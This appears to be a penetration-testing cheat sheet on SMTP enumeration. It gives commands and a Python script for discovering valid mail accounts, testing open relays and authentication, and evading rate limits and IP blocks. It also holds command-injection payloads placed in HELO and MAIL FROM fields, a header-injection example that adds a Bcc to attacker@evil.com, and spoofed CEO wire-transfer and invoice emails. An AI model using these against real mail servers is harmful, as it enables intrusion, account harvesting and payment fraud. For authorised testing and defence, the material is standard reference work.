Skip to content

SMTP Enumeration

SMTP (Simple Mail Transfer Protocol) enumeration to discover valid users, mail server configuration, and potential attack vectors.

User Enumeration

VRFY Command

Verify if a user exists on the mail server:

# Using telnet
telnet target.com 25
VRFY root
VRFY admin
VRFY user@target.com

# Using nc
nc -nv target.com 25
VRFY root

EXPN Command

Expand mailing lists:

telnet target.com 25
EXPN admin
EXPN all
EXPN staff

RCPT TO Command

Check if user exists by attempting delivery:

telnet target.com 25
HELO attacker.com
MAIL FROM:<test@attacker.com>
RCPT TO:<admin@target.com>
RCPT TO:<root@target.com>

Automated Enumeration

smtp-user-enum

Efficient user enumeration using VRFY, EXPN, and RCPT TO:

# VRFY method
smtp-user-enum -M VRFY -U users.txt -t target.com

# EXPN method
smtp-user-enum -M EXPN -U users.txt -t target.com

# RCPT method
smtp-user-enum -M RCPT -U users.txt -t target.com

# Specify port
smtp-user-enum -M VRFY -U users.txt -t target.com -p 25

# Multiple targets from file
smtp-user-enum -M VRFY -U users.txt -T targets.txt

Nmap NSE Scripts

# SMTP enumeration
nmap -p25 --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} target.com

# SMTP commands
nmap -p25 --script smtp-commands target.com

# SMTP open relay test
nmap -p25 --script smtp-open-relay target.com

# SMTP NTLM info disclosure
nmap -p25,587 --script smtp-ntlm-info target.com

# All SMTP scripts
nmap -p25,465,587 --script smtp-* target.com

Information Gathering

# Using telnet
telnet target.com 25

# Using nc
nc -nv target.com 25

# Using nmap
nmap -sV -p25 target.com

# Using curl
curl -v telnet://target.com:25

SMTP Commands Discovery

# Connect and check available commands
telnet target.com 25
EHLO attacker.com

Common responses reveal:

  • Supported AUTH methods
  • SIZE limitations
  • STARTTLS support
  • PIPELINING capability
  • VRFY/EXPN enabled status

Testing for Open Relay

Manual Test

telnet target.com 25
HELO attacker.com
MAIL FROM:<spoofed@external.com>
RCPT TO:<victim@external.com>
DATA
Subject: Test
This is a relay test.
.
QUIT

Automated Testing

# Nmap
nmap -p25 --script smtp-open-relay target.com

# swaks (Swiss Army Knife for SMTP)
swaks --to victim@external.com --from spoofed@external.com --server target.com

Common Wordlists

# Common usernames
/usr/share/metasploit-framework/data/wordlists/unix_users.txt
/usr/share/seclists/Usernames/top-usernames-shortlist.txt

# Email-specific
/usr/share/seclists/Usernames/Names/names.txt

# Custom list for domain
cat > users.txt <<EOF
admin
administrator
root
postmaster
webmaster
info
support
contact
sales
noreply
EOF

Metasploit Modules

msfconsole

# User enumeration
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS target.com
set USER_FILE /usr/share/seclists/Usernames/top-usernames-shortlist.txt
run

# Version detection
use auxiliary/scanner/smtp/smtp_version
set RHOSTS target.com
run

# SMTP relay test
use auxiliary/scanner/smtp/smtp_relay
set RHOSTS target.com
run

# NTLM information disclosure
use auxiliary/scanner/smtp/smtp_ntlm_domain
set RHOSTS target.com
run

Common SMTP Ports

Port Service Notes
25 SMTP Standard unencrypted
465 SMTPS SMTP over SSL (deprecated)
587 Submission Modern encrypted submission port
2525 Alternative Alternative SMTP port

Bypassing Protections

Rate Limiting

# Slow enumeration with delays
smtp-user-enum -M VRFY -U users.txt -t target.com -w 5

# Spread across multiple connections
for user in $(cat users.txt); do
  echo "VRFY $user" | nc target.com 25
  sleep 2
done

IP Blocking

# Use proxychains
proxychains smtp-user-enum -M VRFY -U users.txt -t target.com

# Rotate source IPs if you have multiple interfaces
smtp-user-enum -M VRFY -U users.txt -t target.com --source-ip 192.168.1.10

SMTP Authentication Testing

Testing AUTH methods

telnet target.com 587
EHLO attacker.com
AUTH LOGIN
# Base64 encoded username
dXNlcm5hbWU=
# Base64 encoded password
cGFzc3dvcmQ=

Encoding credentials

# Encode username
echo -n "username" | base64

# Encode password
echo -n "password" | base64

swaks for authentication

# Test authentication
swaks --to test@target.com --from test@target.com --server target.com --auth LOGIN --auth-user username --auth-password password

# List supported AUTH mechanisms
swaks --server target.com --quit-after EHLO

Email Spoofing Tests

SPF/DKIM/DMARC Check

# Check SPF record
dig target.com TXT | grep spf

# Check DMARC
dig _dmarc.target.com TXT

# Check DKIM (need selector)
dig default._domainkey.target.com TXT

Spoofing Test

# Send spoofed email
swaks --to victim@company.com \
  --from ceo@company.com \
  --server target.com \
  --body "Please transfer funds to account..." \
  --header "Subject: Urgent: Wire Transfer Needed"

# With attachment
swaks --to victim@company.com \
  --from hr@company.com \
  --server target.com \
  --attach invoice.pdf \
  --header "Subject: Invoice Payment Required"

SMTP Vulnerabilities

Command Injection

# Test HELO/EHLO injection
HELO test`whoami`@attacker.com

# MAIL FROM injection
MAIL FROM:<test$(id)@attacker.com>

SMTP Header Injection

# Inject additional headers
swaks --to victim@target.com \
  --from legit@target.com \
  --server target.com \
  --header "Subject: Test\nBcc: attacker@evil.com"

STARTTLS Stripping

# Test if STARTTLS can be stripped
openssl s_client -connect target.com:587 -starttls smtp

# Check if plaintext fallback is allowed
telnet target.com 587
EHLO attacker.com
# Don't send STARTTLS, try AUTH directly

Advanced Techniques

Internal Domain Discovery

# SMTP NTLM authentication disclosure
nmap -p587 --script smtp-ntlm-info target.com

# Response reveals:
# - Internal domain name
# - Server hostname
# - DNS domain name

Timing Attacks

# Valid vs invalid user response time
time echo "VRFY validuser@target.com" | nc target.com 25
time echo "VRFY invaliduser@target.com" | nc target.com 25

# Statistical analysis for user enumeration
for user in $(cat users.txt); do
  start=$(date +%s%N)
  echo "VRFY $user@target.com" | nc -w 1 target.com 25 > /dev/null 2>&1
  end=$(date +%s%N)
  elapsed=$((($end - $start) / 1000000))
  echo "$user: ${elapsed}ms"
done | sort -t: -k2 -n

Catch-All Detection

# Test with random addresses
for i in {1..5}; do
  echo "RCPT TO:<randomuser$RANDOM@target.com>" | nc target.com 25
done

# If all succeed, likely catch-all is enabled

Python Script Example

#!/usr/bin/env python3
import socket
import sys

def smtp_vrfy(target, port, user):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target, port))
    banner = s.recv(1024)

    s.send(b'VRFY ' + user.encode() + b'\r\n')
    result = s.recv(1024).decode()

    s.send(b'QUIT\r\n')
    s.close()

    return result

# Usage
if __name__ == "__main__":
    target = "target.com"
    port = 25

    with open("users.txt", "r") as f:
        for user in f:
            user = user.strip()
            result = smtp_vrfy(target, port, user)
            if "252" in result or "250" in result:
                print(f"[+] {user}: {result.strip()}")

Response Codes

Code Meaning Enumeration Value
250 User exists Valid user
251 User not local, will forward Potentially valid
252 Cannot verify, but will attempt delivery Cannot confirm
550 User does not exist Invalid user
553 Mailbox name not allowed Invalid user
500 Command not recognized VRFY disabled
502 Command not implemented VRFY disabled

Quick Reference

# Basic user enumeration
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t target.com

# Nmap comprehensive scan
nmap -p25,465,587 --script smtp-enum-users,smtp-commands,smtp-open-relay,smtp-ntlm-info target.com

# Manual VRFY
echo "VRFY admin" | nc target.com 25

# Test open relay
swaks --to external@gmail.com --from spoofed@target.com --server target.com

# Check SPF/DMARC
dig target.com TXT | grep spf
dig _dmarc.target.com TXT